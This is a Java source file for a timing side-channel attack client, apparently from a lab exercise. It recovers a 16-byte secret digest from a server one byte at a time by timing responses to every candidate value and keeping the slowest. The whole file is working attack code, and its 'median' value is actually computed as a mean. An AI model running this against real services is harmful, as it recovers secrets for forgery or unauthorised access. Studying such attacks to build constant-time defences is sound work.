package timingAttack;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class Client implements Runnable {

	String serverAddr;
	int serverPort;
	
	// attack data
	int tsize = 50000;
	long[][] tdiff = new long[256][tsize];
	double[] mean = new double[256];
	int length = 16;
	
	
	public Client(String serverAddr, int serverPort) {
		super();
		this.serverAddr = serverAddr;
		this.serverPort = serverPort;
	}


	@Override
	public void run() {
		
		Socket server;
		
		try {
			
			server = new Socket(serverAddr, serverPort);
			InputStream in = server.getInputStream();
			OutputStream out = server.getOutputStream();
			
			
			byte[] master = new byte[length];
			
			for (int i = 0; i < length; i++) { // repeat array positions 1..255
				byte b = 0x00;
				
				for(int k=0; k< tsize-1; k++) { // record timings for each byte
				
				
				
				for(int j = 0; j < 256; j++) {// check bytes 0x00..0xff
					master[i] = b++;
					
					long start = System.nanoTime();
					out.write(master);
					int answer = in.read();
					long end = System.nanoTime();
					
					tdiff[j][k] = end - start;	
					//System.out.print(tdiff[j][k] + " ");
				}
					//System.out.println();
				}
			
				
				// calculate mean for this array position
				b = 0x00;
				for (int j = 0; j < 256; j++) {
					mean[j] = Statistics.trimmedMean(tdiff[j]);
					System.out.println("Byte = " + Statistics.toHex(b++) + ", mean = " + mean[j]);
				}
				
				// pick up byte with the maximum mean value
				int maxMean = Statistics.IndexOfMax(mean);
				
				// pick up the byte with the smallest mean ??
				int minMean = Statistics.IndexOfMin(mean);
				
				// variance of means
				double variance = Statistics.variance(mean);
				
				// mean of means
				double meanOfMeans = Statistics.mean(mean);
				
				// diff between maxMean and mean of means
				double diffMeans = mean[maxMean] - meanOfMeans;
				
				// diff between maxMean and minMean
				double diffMaxMinMean = mean[maxMean] - mean[minMean];
				
				// median of means 
				double median = Statistics.mean(mean);
				
				// store the correct byte in master
				master[i] = (byte) maxMean;
				System.out.println("position = " + i + ", correct byte = " + Statistics.toHex(master[i])
									+ ", max mean = " + mean[maxMean]
									+ ", min mean = " + mean[minMean]
									+ ", diffMaxMinMeans = " + diffMaxMinMean
									+ ", mean of means = " + meanOfMeans
									+ ", variance = " + variance
									+ ", diffMeans = " + diffMeans
									+ ", median = " + median);
			}
			
			System.out.println("recovered digest = " + Statistics.toHex(master));
			
			
		} catch (IOException e) {
			
			e.printStackTrace();
		
		} 
		
	}
	
	
	public static void main(String[] args) {
		
		Client client;
		
		if( args.length == 0 )
			client = new Client("localhost", 4000);
		else
			client = new Client(args[0], 4000);
		
		new Thread(client).start();
		
	}
	
	
	

}
